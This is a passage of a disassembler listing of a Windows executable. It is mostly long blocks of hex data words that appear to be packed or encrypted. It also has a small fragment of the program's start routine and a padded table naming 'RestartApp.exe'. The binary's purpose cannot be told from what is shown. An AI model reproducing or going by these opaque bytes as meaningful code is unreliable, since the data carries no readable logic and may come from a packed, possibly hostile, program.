		dd 7EF10D97h, 63099C80h, 7A256A20h, 81709860h, 76EE96h
		dd 0BF0A241Eh, 343B3D55h, 8C33E1h, 3206B559h, 61248F52h
		dd 0CE17F0CDh, 1D4292Fh, 2972F610h, 0F16BA0B2h,	8F68C032h
		dd 3D02AC77h, 101B0DFAh, 3254E0A7h, 48C4988Ah, 5D00384Ch
		dd 0CE5F7CEEh, 17259CF2h, 0DF40A00Bh, 0C6C8C5h,	66961FA6h
		dd 0D4749A0h, 0F10CFEECh, 0A15345B2h, 0E2D3010Fh, 5B8E6E95h
		dd 4AB5F464h, 7EB2BB07h, 0A5E75F8Dh, 0B698F600h, 8138B9F3h
		dd 9ADDFF75h, 77C07391h, 429CEE01h, 0A96A63A2h,	259F887h
		dd 695AA01Fh, 0EEC9EFBh, 0CE34EE0Ah, 0D040CC4Fh, 75DCE281h
		dd 86FA0049h, 32ACD237h, 0F700715Bh, 3A20075Ah,	0C0680B5Ch
		dd 72A07D81h, 0CAFABDD2h, 460338B8h, 57F58A02h,	2098E4B0h
		dd 0C02B397Eh, 4230DB09h, 90E18387h, 0BB3893B1h, 4C3CF4E4h
		dd 0A1198032h, 3543F91h, 60A67ABEh, 57F07813h, 708083E9h
		dd 4A71026Eh, 9867C35Ah, 0F3F2F0EBh, 2D10B3C1h,	0D6720090h
		dd 0BDC0A185h, 2D4B1EFEh, 1B380EFh, 0E1A72C76h,	0A0524627h
		dd 0A684D0B4h, 195F0080h, 8BEDC35Ch, 0F10C6838h, 0C95A3317h
		dd 2D05003Ch, 6B89D864h, 2A00F06Eh, 0CBB525DFh,	250D941Ah
		dd 94204580h, 0E4B37626h, 58786A0Bh, 970810EDh,	6DE933B6h
		dd 68C0D0A9h, 8894EE75h, 712F8A8Dh, 6468A0E2h, 3923CFE5h
		dd 3F80EB53h, 8F435188h, 4C3A36C6h, 0B5ED0A31h,	63062CE6h
		dd 493C30h, 0D2D5291Eh,	0CBC9010Dh, 0F66CE900h,	702EB66Ah
		dd 50ABE642h, 0F835F8F5h, 0BBC004BEh, 884F9567h, 0F200872Ch
		dd 5EEFF893h, 0B332328h, 6BC73ED6h, 830BE700h, 78136531h
		dd 3912DF86h, 19FFF04h,	5B17C8B2h, 0BA4500B6h, 1B316B73h
		dd 0B1D43C00h, 1D8AD901h, 59E101DCh, 0C8ACD06Dh, 67373015h
		dd 327EBC98h, 39C71800h, 33CD2C49h, 840D488Fh, 3F801689h
		dd 64FB234Eh, 6543F094h, 0E18DE9ABh, 0C83AD4h, 3FC99F6Fh
		dd 12B7E34Fh, 0DB806CB1h, 2D15E27Ch, 4313EF4Dh,	0FE5183F0h
		dd 0B8B4E600h, 463A9506h, 618416FFh, 0AF30904Dh, 24011FDFh
		dd 0AC56BB9Ch, 0DDF47D68h, 805800A7h, 3FC7FB34h, 380C6DDEh
		dd 3909318Ah, 59E27588h, 3480CCB3h, 32AB87F8h, 1D002CB1h
		dd 2960731Fh, 0B8570018h, 9E283C0h, 16382FC8h, 0D299169Ah
		dd 0E15488h, 0D6757858h, 60D42479h, 45ED8D00h, 4EF706BBh
		dd 3322000Bh, 0A521679Ah, 0D7126C90h, 0B490FB1Fh, 0B4CD8368h
		dd 938F40D0h, 0D200C204h, 3981EEEFh, 25A71F6h, 0D53BE30Eh
		dd 44608C8Fh, 3200E136h, 0A53EC1D0h, 1F10B73h, 30A389DDh
		dd 31844220h, 0FEE99C9Dh, 0C3BB1B80h, 0A3BC1Dh,	586158Ch
		dd 9D87E601h, 0C88A900Ah, 20809466h, 3CEF54AAh,	22105A1Fh
		dd 0E113EEB8h, 83C5F33Ah, 0C7035468h, 6A0DEFFDh, 0DEBC2100h
		dd 7F21F8B0h, 80ECB652h, 0A9E0D13Ch, 6B0FC48Dh,	6087FD38h
		dd 0F41562DAh, 0E4E94CB2h, 4714E49Eh, 3E9FD0C1h, 817E60D8h
		dd 201FE099h, 576C8701h, 1FFC5F8Ah, 1EC7FE1Ch, 47CED418h
		dd 901B737Ah, 962CA5B1h, 3C509A18h, 1EA989h, 4FE8AABBh
		dd 86FF119Ch, 0C7BAC00h, 16C33AEBh, 0B6C917F7h,	0A2F42485h
		dd 397F1DA0h, 0BD55D481h, 0FFE0AB51h, 43A14A74h, 67328A84h
		dd 20216900h, 3E6D0226h, 1CB31392h, 0E610302Bh,	38009D4Fh
		dd 52B1AB6Ah, 8457A9h, 46256E94h, 0F7245BA8h, 0D9A6CA0Eh
		dd 8137A053h, 4CB6A25Dh, 0D28238F0h, 0C524F98h,	362ED300h
		dd 1711E9C3h, 493013B5h, 677C08A0h, 0FD18ED80h,	189C89FEh
		dd 19650E60h, 0F0020987h, 31741927h, 24CF81Dh, 5C9AEE15h
		dd 9466E958h, 3C593442h, 81E37900h, 78201895h, 3AD4C509h
		dd 330C0063h, 88450Bh
		dd 262FF6C1h, 0CA80F38Ah, 956D1504h, 38B27B4Bh,	5CE2471Fh
		dd 0F3FEBBh, 0C116841Bh, 0A258FA9h, 0BFEAAB0Bh,	0A0E88079h
		dd 0F835098Ch, 93890C64h, 0E4917250h, 0AD2A4E00h, 7647F323h
		dd 1ADF070Dh, 0F0ED9F1Bh, 0EB46A632h, 1D0B6218h, 0A413F9h
		dd 94F6639h, 0DF14C6B8h, 0D5FD0502h, 403528BEh,	9884776Ch
		dd 1E70B790h, 990985Ch,	6BEB8A16h, 52F8B0E0h, 5B37456h
		dd 5DD406C4h, 4060C19Fh, 6EF0EC6Ah, 0F78471C0h,	2A20CD52h
		dd 3CA44A12h, 738BFE2Fh, 3C110B6Ah, 0C54BD4F1h,	54EB2200h
		dd 0AF390D61h, 7F4D01B7h, 0CAA0A787h, 0A1AB409Ch, 7C011EDEh
		dd 3A027DF8h, 0C70D3AEh, 0F0581A7Fh, 8C515123h,	20CEB80Eh
		dd 16B104ABh, 0B9B504DCh, 0AA23FCE4h, 4C5CE84h,	80639849h
		dd 0C6043164h, 2CF75C20h, 0E0104D8Bh, 0C200FE9Eh, 0B1230A2h
		dd 1CE4E936h, 87022F05h, 2417B0h, 3BFFE040h, 0C098B65Ch
		dd 61B827Ah, 64B7009Eh,	0E623FEF9h, 73000F6Eh, 0DD7C63F0h
		dd 0A7C016h, 0FFC8B15Eh, 1A060402h, 0B797D70Bh,	38C4434h
		dd 5AF1A042h, 0CCF4ECE4h, 78000910h, 8D3D0C98h,	1D4D6393h
		dd 0C0831030h, 0C22CFEA2h, 0A158314Fh, 962303C0h, 0FC2DC7CEh
		dd 0B800F8F2h, 0E2C45590h, 0D725C9DFh, 8834134Fh, 726368D1h
		dd 0D9870265h, 0A3118960h, 7D7A8840h, 0AF4FF01Eh, 0E452ED82h
		dd 852440C0h, 82F72E57h, 497B194Bh, 25C0CFF3h, 0A609ACE3h
		dd 90308011h, 1E693EB8h, 3F8CC01h, 5EB5D761h, 0C85F4801h
		dd 8B739103h, 0C5389433h, 0D2F22A07h, 80B4DA50h, 64568E05h
		dd 9F00F8B5h, 0A83F09A3h, 92FB85Eh, 48852321h, 0B4781052h
		dd 5CC05A00h, 63B2FBEBh, 8ACCE5EFh, 0AB2F03A3h,	960A86FAh
		dd 0F332101Eh, 80E85154h, 12A4E1DDh, 0CC4B0030h, 2ACA4557h
		dd 7D018580h, 0C3B3AF49h, 28E0B9FFh, 6FE40043h,	0D78FACAh
		dd 0F2023A20h, 0B752F38Ch, 83B84809h, 83949C45h, 9E98CF9Ah
		dd 0DED614E0h, 8E2A2303h, 0D044A0AEh, 0A425EEh,	6589FF38h
		dd 21FF37Dh, 0D46C0B29h, 0EDB95603h, 72DBA01Bh,	0B6FB00D1h
		dd 57352F70h, 0FF00C527h, 0A218F114h, 17C701C8h, 8516593h
		dd 0A78058E4h, 483AF6C2h, 36A0023h, 67412102h, 0E4163FDDh
		dd 0B430F5FDh, 999B6Fh,	51D98529h, 53164A04h, 62703Fh
		dd 9AD1C868h, 0BB31C7h,	3667A06Dh, 0F47564F6h, 0C8B0924Ch
		dd 0DFF18706h, 60908B89h, 784CF775h, 32081467h,	684525E6h
		dd 98CAF0h, 76313C3Ah, 9FACF09Ah, 876A873Dh, 0B4C40DC8h
		dd 52E68081h, 84C4C6h, 35BD1BA1h, 3138908Bh, 0E81EE900h
		dd 3FA89359h, 54F304B2h, 0C2FB2F0Ch, 0F2F4900h,	79FC0D05h
		dd 804CE0E2h, 5AB607B2h, 4026B430h, 0F0F3FD69h,	5DF77D0Bh
		dd 8D2801FCh, 2020911Ch, 28CBE2Bh, 4D0768F9h, 2301D4D2h
		dd 0F51CE141h, 0C4222FCEh, 0D7021200h, 6CA54F3Ch, 1BB60802h
		dd 6CEC89ABh, 96A01DC0h, 0B1E30082h, 0A297B67Dh, 0C9BC414Ah
		dd 38CA9801h, 2A630910h, 520E061h, 0F780447Ch, 0A7EEC335h
		dd 4D481B98h, 8E6280A4h, 275CABh, 23BABEFBh, 8D590208h
		dd 809F553Ch, 3D7CEDA7h, 1CBF324h, 91D32AC8h, 70CD9837h
		dd 0AB8127C8h, 0F720DC71h, 249E817h, 7EF68D5Dh,	0E8E08A4Ch
		dd 1F189467h, 0B39156F7h, 0E41197EBh, 0A4461092h, 0BCB205BFh
		dd 80D2DEB7h, 18F65DDEh, 0CD101A16h, 0D9AEDC00h, 0A75497Eh
		dd 7BB74A2Fh, 46710E80h, 0F8CC0A76h, 0E47C07C8h, 7E7440DAh
		dd 0D07543C1h, 4491E624h, 0B3526364h, 0F230000h, 5354B512h
		dd 6E270F97h, 0AD2458C4h, 79508067h, 0CD718365h, 27F1B625h
		dd 4ED0CA08h, 2D7F9234h, 0B8137B15h, 0D5BE4CD0h, 9A24FF00h
		dd 9E2C40BAh, 0A8BB0311h, 25C7EF51h, 0D98EDABh,	8702A6BFh
		dd 94CE312Fh, 1F9C8019h, 638DBEh, 3401C797h, 0F682A7E7h
		dd 0CA5C6600h, 57913575h, 60B99Fh, 29D57CF8h, 0F3EAE26Fh
		dd 7504190Ah, 7A8010E9h, 0D6A6214h, 7C1F48A8h, 498018C5h
		dd 5C8EFAE8h, 0A5FC30F2h, 0C9077140h, 0F333AA12h, 6D6BABB0h
		dd 0CBA33EA1h, 606875A4h, 3B4F284Eh, 1645623Dh,	1400EB1Ah
		dd 95C3402Fh, 874A006Eh, 210DD08Bh, 0A205798Fh,	0D28C4204h
		dd 0BF4EC87h, 7C90CD1h,	0F327E310h, 0FD365E1Fh,	89649B09h
		dd 0E6B380A4h, 41D5849h, 0ECB6982Ch, 2CE0A26Dh,	2206F05Fh
		dd 2F305C9Fh, 98A00B79h, 16EA816h, 0F6B39801h, 2C9D08Ch
		dd 0BB81F42Ch, 0C122F23Dh, 0FA39FC10h, 4C96A904h, 9C8D1735h
		dd 0DE95D0h, 0AF80C47h,	81282B20h, 97FB1501h, 0ED80D317h
		dd 0F7555C8h, 1CB2F8AAh, 0E27DFE60h, 9D582E19h,	0FA670C33h
		dd 747AB097h, 0CCFB4C85h, 0E5003491h, 9DA5D6FCh, 6E1E689Bh
		dd 1901D535h, 7C9F15F5h, 8004202Ah, 86015ECBh, 0A4E3F21Dh
		dd 5AC64D3Dh, 0E0450350h, 504F892Dh, 471AA888h,	55FC2F04h
		dd 74C06064h, 2CE617h, 7FFE5D82h, 0EF2AED84h, 0E08AA125h
		dd 775933F8h, 3E43041Bh, 0A8E857E7h, 897C808Ch,	8D76F0h
		dd 0BA37F45Eh, 8420EDC9h, 2F9A8212h, 8110A4h, 0F55B31D0h
		dd 8DD7CC22h, 0FDA2E4E1h, 80080A4Ch, 9796C4D1h,	3DA100F1h
		dd 3786A765h, 0CD2C223Fh, 9D136868h, 0D20358A2h, 213554FBh
		dd 1D3079A8h, 5C135200h, 8719AA3Bh, 0D8A8486Eh,	7F4B1C00h
		dd 223E7D5Eh, 0A20B042Dh, 4140A688h, 0BDD43B21h, 0AED00902h
		dd 64591D57h, 4772B980h, 78A36DCEh, 16051FC5h, 753A4265h
		dd 8A21549Fh, 0B43D3FCAh, 4706B4C0h, 2A006DB5h,	0D38505FAh
		dd 58B6EDCh, 641B2F33h,	0EDF28017h, 19008630h, 77A322EEh
		dd 4BB694BBh, 1F7046F0h, 0E0BE6903h, 0B8C82D12h, 3FD714E1h
		dd 0F900DDA9h, 1149C43Ah, 451F3657h, 5440342Ch,	76A5B16Ch
		dd 0DA331223h, 0DE78200Ah, 0E500028Ah, 669E72C1h, 1798E9Bh
		dd 0B18A06Eh, 208D861Bh, 0AE003010h, 2D2F8A05h,	3CF389D2h
		dd 1741737h, 0F820682Ah, 3C6C0FB6h, 35B5C300h, 0E30BB8F3h
		dd 3F651E53h, 0DCA0C01Bh, 2F32F0A5h, 0C00746F8h, 0ACBE8E41h
		dd 3071C991h, 0D601183Dh, 0D2ADD7Ch, 51F43089h,	30004B5Eh
		dd 0C249EE30h, 8C110134h, 7AEA7565h, 98E80648h,	95B8A10Ah
		dd 137ED030h, 889F4ED0h, 61003A28h, 34582931h, 26B4C36Dh
		dd 1124CE7Eh, 2045251Dh, 38E2C120h, 0F1F05C46h,	0CE444D03h
		dd 0D9D2C756h, 8FC20E1h, 0A430E132h, 2874B933h,	0A097003Fh
		dd 249FE1E2h, 41F7F460h, 602DFBACh, 1F886884h, 49456010h
		dd 0E2AE379h, 0B830C803h, 0B97DA0ACh, 7078328Ah, 4720AC5h
		dd 0A94D19C0h, 6EBB038Ch, 0F8B44B88h, 0E4DE5835h, 7E410072h
		dd 1DBEF336h, 1A3BCE3Ah, 5D08F280h, 8288465Ah, 8730136Fh
		dd 0C9D56660h, 0BA12CE07h, 0B58019F6h, 3E679432h, 500977Ah
		dd 1DC7DEE3h, 497FEF8h,	35416E5Ch, 28999EABh, 9BB98074h
		dd 23277Fh, 7EF31AE4h, 35AA9C58h, 9863BE12h, 4D0090A2h
		dd 0DB2855A5h, 400792EBh, 7E04ED62h, 27E68501h,	3D4BF830h
		dd 0F05A0B1h, 83F932ADh, 86DB8AF8h, 602FC8E1h, 6B0EA56Eh
		dd 0CA1EE86Ch, 0EE0F4448h, 0A91680E5h, 175CE2h,	59CF7854h
		dd 0F341799Ah, 74FF5009h, 2A8F9FCh, 121F835Fh, 0BA60405Ch
		dd 2220DB8h, 75689534h,	3F2083EDh, 1841CEh, 0F58516EFh
		dd 0C68A360Dh, 0FE7F702h, 0C03A9E7Bh, 485D21ECh, 850A4CA9h
		dd 0A1982Fh, 0F129C524h, 5A05F9ACh, 11205C32h, 8B1E3C40h
		dd 5860BFh, 210B4CF7h
		dd 0DC5013Eh, 1C31C80Ch, 3A975036h, 8102B8A8h, 19330A83h
		dd 6F6964C0h, 18F3DC00h, 6E76E0A4h, 6A0B2070h, 0E63560C0h
		dd 9FE4643h, 30637B94h,	1F008C52h, 99FF8B11h, 165260BDh
		dd 80ABC191h, 1242C7C4h, 58FDFE48h, 648896ECh, 57790176h
		dd 0F366AA01h, 0C49D04Eh, 0C0649527h, 4C2DFC5Ch, 2E130C76h
		dd 0A500AF30h, 0F085B34Ah, 57F2131Bh, 0E74E3F4h, 809DA82Dh
		dd 0FA61FDC5h, 17847C73h, 168D5A1h, 0FE2035FCh,	64899444h
		dd 0C4792594h, 5F820044h, 0E15DC735h, 75283E93h, 0A17C30FCh
		dd 9A7D2704h, 0C80AFEh,	619000B1h, 9CB031E5h, 9700604Fh
		dd 724ACD30h, 0C095C188h, 0E30F0998h, 0A7133E9Dh, 94001B05h
		dd 91D5AA8Bh, 0B652C7Fh, 9974406Ch, 2600AF39h, 304E80FAh
		dd 2C2BEFh, 55E4F7B2h, 82E35410h, 7C0D08B8h, 0A160F057h
		dd 0C7004433h, 0E1021017h, 3D016634h, 832F0EBCh, 982CB34Fh
		dd 0DA9FC280h, 860B9878h, 1998A1Fh, 87B052E0h, 0AEF0202Bh
		dd 61984D29h, 0FFFA5802h, 0C67597B6h, 0D7AC005Ch, 128C552Ch
		dd 0B800849Ah, 76030FA4h, 385C522h, 0B367B240h,	0F18197CFh
		dd 30884038h, 0A49E1304h, 608C5949h, 6FF10ED5h,	5640449Ch
		dd 3EF679Bh, 45A0AFC8h,	31C746CAh, 78AB920Ch, 0A41F8020h
		dd 1CB52E24h, 243A3DA7h, 0D63700A8h, 9735D0F9h,	38D3B82Eh
		dd 15B78560h, 926F2FFh,	8BED50FCh, 0E50EF844h, 0E027DE33h
		dd 7F5BCF85h, 9C0E0099h, 0B837A606h, 0F0903921h, 0FD9044h
		dd 0C316E35Ah, 0FE4A26C7h, 0F357EF13h, 0C51360F3h, 5C40E446h
		dd 0CEA1D81Ch, 0DCF445C0h, 5892F882h, 330174EEh, 0FA95E830h
		dd 0D24EC9B4h, 803DC8D6h, 8D5D7463h, 0BE7FA7F8h, 88C1404Ch
		dd 9000BD4Dh, 0BB22C5DBh, 2843A31Ch, 4F0A1D0h, 7E18C14Eh
		dd 7C8A2CDh, 0A8B00876h, 0EE473861h, 7CE6EAh, 74FA2E27h
		dd 0B74E9AA2h, 0C8979500h, 5FC9F8C7h, 0E549851h, 0F96472E3h
		dd 707D8842h, 39253CE0h, 0E20BDFF4h, 51E6B6A1h,	5AAD8754h
		dd 0D11F7344h, 0EC6430DAh, 37D96901h, 0A07C6B73h, 582B2030h
		dd 0F0251C98h, 800E5C4Ch, 614A1FEDh, 7450A487h,	11CAB10h
		dd 1327FA01h, 0FB2D4CB8h, 960E60E8h, 1B6A8E54h,	0B70A5EC0h
		dd 5016886Ch, 1CA3862Fh, 0FC8A100h, 0D76892C7h,	5A2FCF08h
		dd 0BD910008h, 1B1D177Dh, 0D8DD561Ch, 0F43B00FCh, 87678AC2h
		dd 95D0057Fh, 8DE77505h, 0E5C2C310h, 25603C7Ch,	0FF7618h
		dd 0D0C146E2h, 0EC8A937Bh, 0BC95764h, 78C088h, 0B5AB490Ah
		dd 0C6C254BAh, 54969378h, 0C485DB40h, 0C00E01E8h, 68FBAE3Eh
		dd 9C07C5Dh, 825EA18Ch,	0E0582F80h, 8A70875Ch, 0D822040h
		dd 150F6499h, 3E0E801Ah, 1CFB54CBh, 811CE6C3h, 0F343B568h
		dd 0CC002BCDh, 223FE7CEh, 0EA7A015Dh, 3D6DCA6Fh, 97B060FEh
		dd 93019B2Dh, 10E6B120h, 980913D4h, 0F3A200CCh,	36F5FB15h
		dd 9FF0C760h, 687E4D07h, 6BA09582h, 2EF7BD1Bh, 13E4AACDh
		dd 0D6DC80B1h, 0CF0BF510h, 1606185h, 504AF1ECh,	3BE2DBF8h
		dd 701D4CD1h, 4E498096h, 1D43CD8Dh, 6E9EDF0Bh, 18CA806Dh
		dd 8E74E3h, 34C555D3h, 0DD2F81E0h, 0A01B6001h, 0A8299B20h
		dd 0A753388Bh, 1D005989h, 0A41255D1h, 0A6229100h, 385692B0h
		dd 0ED76BEh, 53B95BDAh,	917B0DAAh, 0DF458918h, 1BE8D40h
		dd 35124029h, 0C003D909h, 0C37A9801h, 0CF6AF00h, 10DBC557h
		dd 446338Eh, 14D87DB1h,	9EEED16Bh, 13D8B900h, 20033523h
		dd 4D59C0CCh, 24C2FD3Fh, 10FA0B03h, 88B03A11h, 65C3EDh
		dd 0D69BEA43h, 46968595h, 587B83Eh, 2FE1E5FAh, 39B7B800h
		dd 3CE8AB40h, 2B017BBCh, 4DA04918h, 0CD6089A2h,	0E2908FC5h
		dd 8013034Fh, 522C933Ch, 11376046h, 6C499067h, 1B44C800h
		dd 0D7930E20h, 45A0A872h, 8329C7DDh, 75E7D0D4h,	0DE0086C2h
		dd 28B4799Bh, 65F6C96h,	0D6B08BC1h, 90C5399Ch, 0C8001D9Dh
		dd 0FC580398h, 274BEh, 37DA93FFh, 0F715C5EFh, 76CAE0F9h
		dd 3B4639C6h, 41EC71h, 0E2371DBBh, 8C796E65h, 7F5F6D07h
		dd 2CC02A1Eh, 10D8ED2h,	24F8131Fh, 504D4BC3h, 578079C0h
		dd 2FC1D72h, 0EADB63Ah,	0C120F108h, 0F42D1E92h,	0A160B9CDh
		dd 2271C0DCh, 0C2ADA162h, 0A65AE00h, 0BD307E46h, 73560382h
		dd 0B0B833C6h, 0D41D26F9h, 0AD54D289h, 10783B4h, 92022E84h
		dd 93204350h, 57FD004Bh, 0EAB262D1h, 85284258h,	0E5E85046h
		dd 0E7692015h, 10120140h, 0AFD3DDAAh, 8119D8h, 38425B6Dh
		dd 0E049084h, 0B3031F7Ch, 466FDD60h, 0C33903F3h, 0F213F621h
		dd 610003D3h, 4216A990h, 71F794h, 6163EF4Fh, 0C13B5BA4h
		dd 223BCA0h, 0EA97C4A0h, 39494630h, 78710EAEh, 5A0A007Eh
		dd 1E0D579Ah, 5500B15Fh, 0D598CD24h, 315DECh, 0D6EAA7A5h
		dd 5646EF8Eh, 520041D3h, 0A07318F9h, 9F360579h,	4072D238h
		dd 3CC86D94h, 0BA0BA7C4h, 993984h, 3B7C1D3Dh, 2D7668h
		dd 60D696A1h, 0C9C224F7h, 8457B24h, 67487D41h, 65E0D0h
		dd 0C8598E7h, 2C44E381h, 4DB51804h, 13C03F53h, 92922BCEh
		dd 0D3930E28h, 0D9609D8Dh, 9BC4AEA8h, 76F54F05h, 5C062238h
		dd 319A28h, 13E5CC72h, 14BED5Bh, 0E63B21C0h, 226042h, 3E27F6A4h
		dd 84DD18C8h, 708BEB12h, 11240C00h, 44D5B674h, 4500C177h
		dd 9905FDC7h, 2CD18Ch, 0CFF94850h, 0BBD4EAD5h, 30699F3Bh
		dd 0F09231A5h, 6EDD037Fh, 0B0825AD7h, 99509BD3h, 3249CA4h
		dd 3840E426h, 0FC2F960h, 0E9BE3E4Dh, 46AD0617h,	900021F0h
		dd 0B32B3712h, 3C97D3C5h, 5C83C86Ah, 6B28E3A7h,	80D2593Eh
		dd 59D1EA7Eh, 0E3EBC38h, 0C1551A6Eh, 0E69F40FEh, 4412B8A6h
		dd 6AAE1601h, 4846EDAFh, 292A8C50h, 5187000Bh, 0B3AD388Ch
		dd 0A660D4E0h, 0D34A31D1h, 64FA18h, 0B5C0F17Ah,	0A51B5D55h
		dd 3CEDD824h, 59A22760h, 5EE202CCh, 489942C7h, 0C9058C44h
		dd 93739779h, 0C390BCC7h, 0E3C8394h, 0EB7C9BECh, 0E3120CC0h
		dd 0D374425Dh, 0B2C8212h, 1F01F41Dh, 4C2DDD8Ah,	4FAD6980h
		dd 0A07A8BE1h, 796F2807h, 0D47125C7h, 71803445h, 0B74AE55Dh
		dd 41E2C802h, 1BDE2A07h, 0D0800C13h, 0FCEF4540h, 31CF621Ah
		dd 1CC0523Eh, 0E007CB0Ah, 0E1982AC2h, 3922DD21h, 6928798Ah
		dd 99280B8h, 0FA9B00Ah,	0C396D200h, 138F7311h, 757A008Ch
		dd 59571603h, 61C03646h, 0F182F2ACh, 193739BCh,	0CC0D4509h
		dd 4EA91C04h, 999000A6h, 3345E4Ch, 0C17BE2E9h, 2FA08427h
		dd 1C50EE8Ch, 82045D88h, 501E380Fh, 73A06743h, 18694Ch
		dd 929C4DD6h, 78E51479h, 5A4B193h, 223BADh, 9C4BB01Ch
		dd 94602BD3h, 22B4FA21h, 0EF1C00C5h, 0D830FDBBh, 0AE24B278h
		dd 0AF4008D5h, 4D1C3D6h, 1B668A42h, 0AC88C849h,	0E47B751Eh
		dd 0D000AD53h, 2CA12D35h, 4DF0F9h, 10697731h, 20D67A6h
		dd 0AB260500h, 13E3C99Dh, 0F1E0EE4h, 0C18093F4h, 54B8A2Bh
		dd 3E4059C0h, 0B96EA8h,	92A74C54h, 14BE904Ah, 0A0D4AB29h
		dd 2A74F500h, 53F0652h,	46B8874Ah, 0FB880E3h, 57EE8078h
		dd 0B5D251C0h, 16745h, 0E1F71831h, 0D3BDAD8Ah, 2C668904h
		dd 3C80DDC6h, 3BECE432h, 53C02996h, 84037679h, 6AA35E11h
		dd 1E20B0DCh, 0EF4B00B6h, 883AC9B8h, 9061DFB0h,	6FAB5631h
		dd 4AA6F4h, 0C31B54Eh, 0D235C9E2h, 0A4B9A867h, 364C1F21h
		dd 0A04D0070h, 0E68997EDh, 40E00911h, 1C8171DFh, 0A89F2939h
		dd 4B00B459h
		dd 7C73BBE9h, 4718938h,	0E0CCE58Fh, 0F278C846h,	90705B07h
		dd 3310D72Dh, 4D7B27h, 373B35BDh, 0E2138BE8h, 9E15B903h
		dd 7D6739h, 0FA2D3C80h,	0CBD8D3ECh, 3B0D0403h, 0E2034CB5h
		dd 678C85AEh, 7F08Ch, 116E9F78h, 7CF790CAh, 47ED601Ch
		dd 0CC204913h, 2BF1C6h,	6F979462h, 213B4D50h, 5B83648h
		dd 0CC0AA86Ah, 0FFFF012Fh, 0B6h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_549BC6:				; CODE XREF: start:loc_4E0265j
					; DATA XREF: start:loc_4E0086o
		jmp	loc_54D067
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 4
		dd 0E8024A00h, 0F2005A2Dh, 45638Ch, 0
		dd 64000000h, 0EF000000h, 5A64h, 0
		dd 16000000h, 0A373h, 5	dup(0)
		dd 0A1000000h, 7167A3h,	8D000000h, 4782FC4h, 0A4000000h
		dd 24000029h, 242424h, 2 dup(0)
		dd 0D5000000h, 0AF0058F6h, 54B1h, 5C000000h, 0FFFFD6h
		dd 3 dup(0)
		dd 0FC000000h, 8001FCh,	6A000000h, 0AF77D4C9h, 5BDEh, 98000000h
		dd 77E827h, 91000000h, 57EEh, 0
		dd 0B0000000h, 0F00151FFh, 12FFh, 50000000h, 0CF55A5CDh
		dd 0A4D3DFB3h, 8 dup(0)
		dd 16000000h, 400A373h,	7FFE03h, 4 dup(0)
		dd 4000000h, 0FFFF92h, 2 dup(0)
		dd 0C000000h, 0A7024200h, 180012FFh, 77E806h, 0Bh dup(0)
		dd 0A5000000h, 0FFAB3Ch, 21h dup(0)
		dd 8B000000h, 0D8h, 2 dup(0)
		dd 95000000h, 700617h, 0Fh dup(0)
		dd 4000000h, 0
		dd 92000000h, 43ACBB5h,	7FFE03h, 0
		dd 2C000000h, 0CC000073h, 0FFFF93h, 4 dup(0)
		dd 0CF00AF00h, 5744h, 2	dup(0)
		dd 0A000000h, 8500A18Ch, 1FEAE7h, 5 dup(0)
		dd 0A000000h, 0A18Ch, 2	dup(0)
		dd 5C000000h, 0CCFFFFD6h, 62EF62h, 1Bh dup(0)
		dd 0F000000h, 0D377F52Eh, 18h, 0
		dd 0AB000000h, 5CECh, 9C000000h, 24A6Bh, 2C000000h, 73h
		dd 0
		dd 1884h, 7 dup(0)
		dd 0EF000000h, 8F77E793h, 54A2h, 2 dup(0)
		dd 6B000000h, 0A94446h,	40000000h, 45FF94F3h, 0A131h, 0E000000h
		dd 5859h, 0
		dd 4000000h, 907FFE29h,	0
		dd 0F2000000h, 5BB5h, 0F8000000h, 12FEh, 7 dup(0)
		dd 5B000000h, 3, 2 dup(0)
		dd 9E000DD0h, 0A0000090h, 0B4000003h, 56583Bh, 3 dup(0)
		dd 6E000000h, 26h, 0Bh dup(0)
		dd 55000000h, 595Bh, 4 dup(0)
		dd 9E000000h, 7FF627h, 7 dup(0)
		dd 0D3000000h, 40CE0h, 3 dup(0)
		dd 4000000h, 807FFE03h,	3 dup(0)
		dd 2E000000h, 77E76Ah, 2 dup(0)
		dd 2C000000h, 73h, 0
		dd 0A6000000h, 54E99Ch,	5 dup(0)
		dd 5F000000h, 5887h, 0FA000000h, 8D0059C1h, 19668Dh, 0
		dd 4E000000h, 0DDFB075Bh, 0A169h, 7 dup(0)
		dd 4A000000h, 0FFA7B9h,	2 dup(0)
		dd 89000000h, 0FFAB50h,	0DD000000h, 783580C1h, 68h, 0A8000000h
		dd 217FEEFDh, 3E212121h, 77FF00h, 4000000h, 7FFE03h, 15h dup(0)
		dd 67000000h, 41h, 2 dup(0)
		dd 5A000000h, 0E005BB1h, 63001422h, 77E779h, 0
		dd 0E6000000h, 0A00Fh, 4 dup(0)
		dd 33000000h, 2	dup(33333333h),	333333h, 38000000h, 12FC664h
		dd 2 dup(0)
		dd 5D000000h, 13005CEDh, 7FFE1Ah, 2 dup(0)
		dd 1A000000h, 0FFFFE4h,	4000000h, 7FFE03h, 10h dup(0)
		dd 82000000h, 77E78Bh, 0E9000000h, 400h, 0
		dd 0C0000000h, 0FFFF8Fh, 5D000000h, 433626Bh, 737FFE03h
		dd 0FFA602h, 0
		dd 80000000h, 1200000Eh, 5BF5h,	0
		dd 22000000h, 8818C8h, 0C9000000h, 0E192B1h, 0
		dd 5A000000h, 74654E54h, 2 dup(0)
		dd 1000000h, 4000000h, 2C000000h, 0FFFF9Bh, 4 dup(0)
		dd 2D000000h, 5BD6h, 0
		dd 4000000h, 7FFE03h, 4	dup(0)
		dd 86000000h, 477E7C4h,	7FFE03h, 0E8000000h, 13h, 9 dup(0)
		dd 0F8000000h, 0A000h, 5 dup(0)
		dd 8B000000h, 0BE0054A8h, 805C37h, 0F0000000h, 12FEh, 3	dup(0)
		dd 1000000h, 0C82004h, 9 dup(0)
		dd 91000000h, 190057EEh, 7 dup(0)
		dd 2B000000h, 7FFE79h, 0
		dd 4000000h, 7FFE03h, 2	dup(0)
		dd 0C7000000h, 5CD9h, 0Ah dup(0)
		dd 8D000000h, 0CEE238Dh, 7FFA09h, 0Ah dup(0)
		dd 68000000h, 77E83Eh, 0
		dd 0F2000000h, 0Ch, 6 dup(0)
		dd 52000000h, 61747365h, 70417472h, 78652E70h, 65h, 22000000h
		dd 22222222h, 222222h, 8 dup(0)
		dd 94000000h, 0E9000000h, 400h,	7 dup(0)
		dd 8C000000h, 0
		dd 8B000000h, 0C40000D8h, 0A170h, 0
		dd 0BC000000h, 0
		dd 0E1000000h, 809F6Ch,	0
		dd 0A5000000h, 97D8Eh, 2 dup(0)
